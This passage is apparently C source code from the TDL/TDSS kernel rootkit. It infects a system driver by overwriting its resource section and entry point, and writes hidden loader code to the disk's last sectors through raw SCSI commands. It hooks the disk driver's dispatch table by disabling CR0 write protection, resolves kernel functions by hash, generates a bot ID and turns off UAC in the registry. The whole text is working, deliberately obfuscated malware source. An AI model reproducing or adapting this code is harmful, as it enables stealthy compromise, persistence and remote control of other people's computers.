while(GET_TDL_ADDRESSES->pdoFSDevice->DeviceType!=FILE_DEVICE_CONTROLLER) { GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoFSDevice->NextDevice; } if(NT_SUCCESS(ObQueryNameString(GET_TDL_ADDRESSES->pdoFSDevice,bDeviceName,sizeof(bDeviceName),&dwSize))) { WCHAR wcFormatFSPath[]={L'%',L'w',L'Z',L'\\',L'%',L's',0}; PIMAGE_NT_HEADERS pinhHeader; PIMAGE_NT_HEADERS pinhHeaderCache; PIMAGE_SECTION_HEADER pishHeader; PVOID pvMJStub; DWORD dwOldCR0; STARTING_VCN_INPUT_BUFFER svibBuffer={}; RETRIEVAL_POINTERS_BUFFER rpbBuffer; WCHAR wcPartition[]={L'\\',L'?',L'?',L'\\',L'c',L':',0}; UNICODE_STRING usName; HANDLE hPartition; DWORD dwClasterSize; OBJECT_ATTRIBUTES oaAttributes; IO_STATUS_BLOCK iosbStatus; FILE_FS_FULL_SIZE_INFORMATION fffsiInfo; PARTITION_INFORMATION piInfo; DWORD dwFirstSector=0; BOOT_SECTOR bsSector; MARK_HANDLE_INFO mhiInfo; DWORD dwRsrcOffset; PVOID pvRsrcOriginalOffset; DWORD dwRsrcSize; DWORD dwSector; HANDLE hSection; PVOID pvFile=0; PWORK_QUEUE_ITEM pwqiThread; _snwprintf(GET_TDL_ADDRESSES->wcFSDevice,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcFSDevice)-1, wcFormatFSPath,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,GET_TDL_ADDRESSES->wcTDLDirectory); wcPartition[4]=*((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->NtSystemRoot; RtlInitUnicodeString(&usName,wcPartition); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); if(NT_SUCCESS(ZwOpenFile(&hPartition,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT))) { WCHAR wcIniFormat[]=TDL_CONFIG_FILE_FORMAT; mhiInfo.VolumeHandle=hPartition; mhiInfo.HandleInfo=MARK_HANDLE_PROTECT_CLUSTERS; mhiInfo.UsnSourceInfo=USN_SOURCE_DATA_MANAGEMENT; ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_MARK_HANDLE,&mhiInfo,sizeof(mhiInfo),0,0); ZwQueryVolumeInformationFile(hPartition,&iosbStatus,&fffsiInfo,sizeof(fffsiInfo),FileFsFullSizeInformation); ZwDeviceIoControlFile(hPartition,0,0,0,&iosbStatus,IOCTL_DISK_GET_PARTITION_INFO,0,0,&piInfo,sizeof(piInfo)); GET_TDL_ADDRESSES->dwSectorSize=fffsiInfo.BytesPerSector; dwClasterSize=fffsiInfo.SectorsPerAllocationUnit*fffsiInfo.BytesPerSector; if(NT_SUCCESS(ZwReadFile(hPartition,0,0,0,&iosbStatus,&bsSector,sizeof(bsSector),0,0))) { dwFirstSector=bsSector.wReservedSectors+(bsSector.bNumberOfFats*bsSector.dwBigSectorsPerFat)+((bsSector.wRootEntries*32)+(bsSector.wBytesPerSector-1))/bsSector.wBytesPerSector; } ZwClose(hPartition); GET_TDL_ADDRESSES->dwFSLastClaster=1; GET_TDL_ADDRESSES->dwDriverCodeSector=(DWORD)_alldiv(GET_TDL_ADDRESSES->ullFSOffset,(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize); GET_TDL_ADDRESSES->dwFirstHiddenSector=GET_TDL_ADDRESSES->dwDriverCodeSector; memset(GET_TDL_ADDRESSES->thsSectors,0,sizeof(GET_TDL_ADDRESSES->thsSectors)); pinhHeader=RtlImageNtHeader(GET_TDL_ADDRESSES->pdoDriver->DriverStart); pishHeader=IMAGE_FIRST_SECTION(pinhHeader); pvMJStub=RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverStart,pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize); GET_TDL_ADDRESSES->pddMJ=ADDRESS_DELTA(PDRIVER_DISPATCH,MJDispatch); dwOldCR0=__readcr0(); __writecr0(dwOldCR0&~(1<<16)); memcpy(pvMJStub,ADDRESS_DELTA(PVOID,MJStub),(DWORD_PTR)TDLInit-(DWORD_PTR)MJStub); __writecr0(dwOldCR0); memcpy(GET_TDL_ADDRESSES->pddDiskMJ,GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pddDiskMJ)); #ifdef _WIN64 RtlFillMemoryUlonglong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub); #else RtlFillMemoryUlong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub); #endif dwRsrcOffset=RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress); pvRsrcOriginalOffset=RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)); dwRsrcSize=TDL_START_SIZE; while(dwRsrcSize>0) { DWORD dwPartSize; dwPartSize=GET_TDL_ADDRESSES->dwSectorSize-(dwRsrcOffset%GET_TDL_ADDRESSES->dwSectorSize); if(dwPartSize>dwRsrcSize) { dwPartSize=dwRsrcSize; } HIDDEN_SECTOR_ADD(0,dwRsrcOffset,dwPartSize,pvRsrcOriginalOffset); dwRsrcSize-=dwPartSize; dwRsrcOffset+=dwPartSize; pvRsrcOriginalOffset=RtlOffsetToPointer(pvRsrcOriginalOffset,dwPartSize); } HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress); HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size); HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.AddressOfEntryPoint),sizeof(DWORD),&pinhHeader->OptionalHeader.AddressOfEntryPoint); HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.CheckSum),sizeof(DWORD),&pinhHeader->OptionalHeader.CheckSum); for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++) { svibBuffer.StartingVcn.QuadPart=(ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset/dwClasterSize); ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_GET_RETRIEVAL_POINTERS,&svibBuffer,sizeof(svibBuffer),&rpbBuffer,sizeof(rpbBuffer)); GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset=dwFirstSector+(DWORD)_alldiv((ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+piInfo.StartingOffset.QuadPart+_allmul(rpbBuffer.Extents[0].Lcn.QuadPart,(LONGLONG)dwClasterSize)),(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize); GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset%=GET_TDL_ADDRESSES->dwSectorSize; } ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,hDriver); dwSize=0; ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&dwSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE); ZwClose(hSection); pinhHeaderCache=RtlImageNtHeader(pvFile); pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress; pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size; pinhHeaderCache->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.AddressOfEntryPoint; pinhHeaderCache->OptionalHeader.CheckSum=pinhHeader->OptionalHeader.CheckSum; memcpy(RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),TDL_START_SIZE); ZwUnmapViewOfSection(NtCurrentProcess(),pvFile); //ZwClose(hDriver); TDLFSInit(); _snwprintf(GET_TDL_ADDRESSES->wcTDLConfig,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLConfig)-1,wcIniFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory); ////////////////////////////////////////////////////////////////////////// /* CHAR cDebug[]={'U','P','D','%','w','s',' ','%','d','\n',0}; CHAR cSection[]={'m','a','i','n',0}; CHAR cKey[]={'r','e','b','o','o','t','s',0}; DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig, TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)); TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey, TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1); DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)); TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey, TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1); */ ////////////////////////////////////////////////////////////////////////// GET_TDL_ADDRESSES->pvLoadLibraryExA=0; /* WCHAR wcIniFormat2[]={L'%',L's',L'\\',L'%',L's',L'\\',L'm',L'u',L't',L'e',L'x','.',L't',L'm',L'p',0}; WCHAR wcFile[MAX_PATH]; _snwprintf(wcFile,RTL_NUMBER_OF(wcFile)-1,wcIniFormat2, GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory); CHAR cMsg[]={'i','s','a','f','t','e','\n',0}; DbgPrint(cMsg); BOOL bRet=FALSE; HANDLE hFile=0; UNICODE_STRING usFile; OBJECT_ATTRIBUTES oaAttributes; IO_STATUS_BLOCK iosbStatus; RtlInitUnicodeString(&usFile,wcFile); InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); bRet=NT_SUCCESS(ZwOpenFile(hFile,FILE_WRITE_DATA|FILE_READ_DATA|SYNCHRONIZE, &oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)); if(!bRet) { CHAR cMsg1[]={'c','r','e','a','t','\n',0}; DbgPrint(cMsg1); ZwCreateFile(&hFile,SYNCHRONIZE|GENERIC_WRITE,&oaAttributes,&iosbStatus,0,0, FILE_SHARE_READ,FILE_CREATE,FILE_SYNCHRONOUS_IO_NONALERT,0,0); } else { CHAR cMsg2[]={'o','p','e','n','o','k','\n',0}; DbgPrint(cMsg2); PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify)); } if(hFile) ZwClose(hFile); */ PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify)); pwqiThread=(PWORK_QUEUE_ITEM)ExAllocatePool(NonPagedPool,sizeof(WORK_QUEUE_ITEM)); if(pwqiThread!=0) { ExInitializeWorkItem(pwqiThread,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIKnock),pwqiThread); ExQueueWorkItem(pwqiThread,DelayedWorkQueue); } //KADInit(); WCHAR wcUAC[]={'\\','r','e','g','i','s','t','r','y','\\','m','a','c','h','i','n','e','\\', 'S','O','F','T','W','A','R','E','\\','M','i','c','r','o','s','o','f','t','\\', 'W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\', 'P','o','l','i','c','i','e','s','\\','S','y','s','t','e','m',0}; WCHAR wcUACName[]={'E','n','a','b','l','e','L','U','A',0}; DWORD dwUAC=0; RtlWriteRegistryValue(RTL_REGISTRY_ABSOLUTE,wcUAC,wcUACName,REG_DWORD,&dwUAC,sizeof(dwUAC)); } } return STATUS_SUCCESS; } NTSTATUS Reinitialize(PDEVICE_OBJECT pdoDevice,BOOLEAN bFsActive) { WCHAR wcFormat[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0}; WCHAR wcDriver[MAX_PATH]; OBJECT_ATTRIBUTES oaAttributes; UNICODE_STRING usFile; IO_STATUS_BLOCK iosbStatus; HANDLE hDriver; _snwprintf(wcDriver,RTL_NUMBER_OF(wcDriver),wcFormat,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver"))); RtlInitUnicodeString(&usFile,wcDriver); InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); if(NT_SUCCESS(ZwOpenFile(&hDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT))) { TDLInit(hDriver); if(pdoDevice!=0) { IoUnregisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize)); } return STATUS_SUCCESS; } return STATUS_OBJECT_NAME_NOT_FOUND; } __declspec(noinline) VOID TDLEnd() { return; } NTSTATUS TDLStart(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry) { PTDL_START ptsStart; DWORD dwDelta; PIMAGE_NT_HEADERS pinhHeader; PIMAGE_SECTION_HEADER pishHeader; DWORD dwSection; __asm { call delta delta: pop eax sub eax,offset delta mov [dwDelta],eax } ptsStart=(PTDL_START)RtlOffsetToPointer(TDLStart,dwDelta+TDL_START_SIZE-sizeof(TDL_START)); if((DWORD_PTR)pusRegistry>1) { PVOID pvKernel; PLIST_ENTRY pleEntry; pleEntry=((PLDR_DATA_TABLE_ENTRY)pdoDriver->DriverSection)->InLoadOrderLinks.Flink; while(CONTAINING_RECORD(pleEntry,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->LoadCount!=0) { pleEntry=pleEntry->Flink; } pvKernel=CONTAINING_RECORD(pleEntry->Flink,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->DllBase; ((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)((PExAllocatePool)RtlOffsetToPointer(pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,sizeof(TDL_ADDRESSES)); GET_TDL_ADDRESSES->pvKernel=pvKernel; GET_TDL_ADDRESSES->pdoDriver=pdoDriver; pinhHeader=(PIMAGE_NT_HEADERS)RtlOffsetToPointer(pdoDriver->DriverStart,((PIMAGE_DOS_HEADER)pdoDriver->DriverStart)->e_lfanew); pishHeader=IMAGE_FIRST_SECTION(pinhHeader); for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++) { pishHeader->Characteristics&=~IMAGE_SCN_MEM_DISCARDABLE; if(*(PDWORD)pishHeader->Name=='TINI') { *pishHeader->Name=0; } pishHeader++; } ((PIoRegisterFsRegistrationChange)RtlOffsetToPointer(pvKernel,ptsStart->pIoRegisterFsRegistrationChange))(pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer(TDLStart,dwDelta)); return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(pdoDriver->DriverStart,ptsStart->pdiOEP))(pdoDriver,pusRegistry); } else { PDEVICE_OBJECT pdoDevice; GET_TDL_ADDRESSES->pvDriverCode=((PExAllocatePool)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200)); pdoDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject; while(pdoDevice!=0)Â { BYTE bDeviceName[MAX_PATH]; DWORD dwSize; if(NT_SUCCESS(((PObQueryNameString)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pObQueryNameString))(pdoDevice,(POBJECT_NAME_INFORMATION)bDeviceName,sizeof(bDeviceName),&dwSize))) { OBJECT_ATTRIBUTES oaAttributes; IO_STATUS_BLOCK iosbStatus; LARGE_INTEGER liOffset; HANDLE hDisk; liOffset.QuadPart=ptsStart->ullDriverCodeOffset; InitializeObjectAttributes(&oaAttributes,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); if(NT_SUCCESS(((PZwOpenFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwOpenFile))(&hDisk,FILE_READ_DATA|FILE_WRITE_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH)) &&NT_SUCCESS(((PZwReadFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwReadFile))(hDisk,0,0,0,&iosbStatus,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),&liOffset,0)) &&(*(PDWORD)GET_TDL_ADDRESSES->pvDriverCode==TDL_SIGNATURE)) { ((PIoUnregisterFsRegistrationChange)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pIoUnregisterFsRegistrationChange))(GET_TDL_ADDRESSES->pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer((DWORD_PTR)dwDelta,TDLStart)); return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE))(GET_TDL_ADDRESSES->pdoDriver,(PUNICODE_STRING)pdoDevice); } } pdoDevice=pdoDevice->NextDevice; } } return STATUS_SUCCESS; } NTSTATUS DriverInfect(PWCHAR pwcDriver,PDEVICE_OBJECT pdoDevice,PHANDLE phDriver) { NTSTATUS ntsResult; READ_CAPACITY_DATA rcdData; ntsResult=STATUS_VOLUME_DIRTY; if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_READ_CAPACITY,SRB_FLAGS_DATA_IN,&rcdData,sizeof(rcdData),0))) { LARGE_INTEGER liOffset; liOffset.QuadPart=_allmul((ULONGLONG)_byteswap_ulong(rcdData.LogicalBlockAddress),(ULONGLONG)_byteswap_ulong(rcdData.BytesPerBlock))-ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200); GET_TDL_ADDRESSES->ullFSOffset=liOffset.QuadPart; ntsResult=STATUS_INSUFFICIENT_RESOURCES; GET_TDL_ADDRESSES->pvDriverCode=ExAllocatePool(NonPagedPool,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200)); if(GET_TDL_ADDRESSES->pvDriverCode!=0) { DWORD dwSectorOffset; OBJECT_ATTRIBUTES oaAttributes; IO_STATUS_BLOCK iosbStatus; UNICODE_STRING usDriver; RtlInitUnicodeString(&usDriver,pwcDriver); InitializeObjectAttributes(&oaAttributes,&usDriver,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); ntsResult=STATUS_FILE_LOCK_CONFLICT; if(NT_SUCCESS(ZwOpenFile(phDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH))) { FILE_STANDARD_INFORMATION fsiInfo; if(NT_SUCCESS(ZwQueryInformationFile(*phDriver,&iosbStatus,&fsiInfo,sizeof(fsiInfo),FileStandardInformation))) { HANDLE hSection; if(NT_SUCCESS(ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,*phDriver))) { SIZE_T stSize=0; PVOID pvFile=0; if(NT_SUCCESS(ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&stSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE))) { PIMAGE_NT_HEADERS pinhHeader; TDL_START tsStart; *(PDWORD)GET_TDL_ADDRESSES->pvDriverCode=TDL_SIGNATURE; pinhHeader=RtlImageNtHeader(pvFile); memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),TDL_START_SIZE); memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE),TDLEntry,(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry); dwSectorOffset=(DWORD)_alldiv(liOffset.QuadPart,(ULONGLONG)0x200); ntsResult=STATUS_MEDIA_WRITE_PROTECTED; if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_WRITE,SRB_FLAGS_DATA_OUT,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),dwSectorOffset))) { ntsResult=STATUS_SUCCESS; GET_TDL_ADDRESSES->pvKernel=GetNtoskrnlBase(); tsStart.pExAllocatePool=(PExAllocatePool)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xde45e96c)); tsStart.pdiOEP=(PDRIVER_INITIALIZE)(DWORD_PTR)pinhHeader->OptionalHeader.AddressOfEntryPoint; tsStart.pObQueryNameString=(PObQueryNameString)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xacc76391)); tsStart.pZwOpenFile=(PZwOpenFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe1958d63)); tsStart.ullDriverCodeOffset=liOffset.QuadPart; tsStart.pZwReadFile=(PZwReadFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xba157c0f)); tsStart.pIoRegisterFsRegistrationChange=(PIoRegisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe59d219f)); tsStart.pIoUnregisterFsRegistrationChange=(PIoUnregisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0x9a77f3d8)); tsStart.dwSectionSecurityVirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress; tsStart.dwSectionSecuritySize=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size; tsStart.dwCheckSum=pinhHeader->OptionalHeader.CheckSum; memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress),PVOID),(PVOID)TDLStart,(DWORD_PTR)DriverInfect-(DWORD_PTR)TDLStart); memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)+TDL_START_SIZE-sizeof(TDL_START),PVOID),&tsStart,sizeof(tsStart)); pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=0; pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=0; pinhHeader->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress; pinhHeader->OptionalHeader.CheckSum=0; pinhHeader->OptionalHeader.CheckSum=PEChecksum(pvFile,fsiInfo.EndOfFile.LowPart,0); } ZwUnmapViewOfSection(NtCurrentProcess(),pvFile); } ZwClose(hSection); } } } } } return ntsResult; } DWORD DriverEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry) { //CHAR cDebug[]={'T','D','L','\n',0}; //DbgPrint(cDebug); CHAR cBotID[0x10+1]; WCHAR wcBotID[0x10+sizeof(L'\\')+1]; WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0}; OBJECT_ATTRIBUTES oaAttributes; HANDLE hEvent; NTSTATUS ntsStatus=STATUS_OBJECT_NAME_COLLISION; UNICODE_STRING usName; GenerateBotID(cBotID,RTL_NUMBER_OF(cBotID)); _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,cBotID); RtlInitUnicodeString(&usName,wcBotID); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); if(NT_SUCCESS(ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE))) { WCHAR wcVolume[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0}; HANDLE hVolumeLink; ntsStatus=STATUS_LINK_FAILED; ((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)ExAllocatePool(NonPagedPool,sizeof(TDL_ADDRESSES)); memset(GET_TDL_ADDRESSES,0,sizeof(TDL_ADDRESSES)); strncpy(GET_TDL_ADDRESSES->cBotID,cBotID,sizeof(GET_TDL_ADDRESSES->cBotID)); RtlInitUnicodeString(&usName,wcVolume); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); if(NT_SUCCESS(ZwOpenSymbolicLinkObject(&hVolumeLink,GENERIC_READ,&oaAttributes))) { WCHAR wcSystemRoot[MAX_PATH]; usName.Buffer=wcSystemRoot; usName.MaximumLength=sizeof(wcSystemRoot); if(NT_SUCCESS(ZwQuerySymbolicLinkObject(hVolumeLink,&usName,0))) { HANDLE hVolumeDirectory; WCHAR wcVolumeDevice[MAX_PATH]; WCHAR wcFormatDevice[]={L'\\',L'?',L'?',L'\\',L'g',L'l',L'o',L'b',L'a',L'l',L'r',L'o',L'o',L't',L'%',L'w',L'Z',0}; *wcschr(wcschr(usName.Buffer+sizeof(WCHAR),L'\\')+sizeof(WCHAR),L'\\')=0; _snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatDevice,&usName); RtlInitUnicodeString(&usName,wcVolumeDevice); ntsStatus=STATUS_FILE_IS_A_DIRECTORY; if(NT_SUCCESS(ZwOpenDirectoryObject(&hVolumeDirectory,DIRECTORY_QUERY,&oaAttributes))) { PDIRECTORY_BASIC_INFORMATION pdbiInfo; pdbiInfo=(PDIRECTORY_BASIC_INFORMATION)ExAllocatePool(PagedPool,PAGE_SIZE); if(pdbiInfo!=0) { DWORD dwSize; DWORD dwContext=0; ntsStatus=STATUS_BUFFER_TOO_SMALL; if(NT_SUCCESS(ZwQueryDirectoryObject(hVolumeDirectory,pdbiInfo,PAGE_SIZE,FALSE,FALSE,&dwContext,&dwSize))) { ntsStatus=STATUS_OBJECT_NAME_NOT_FOUND; 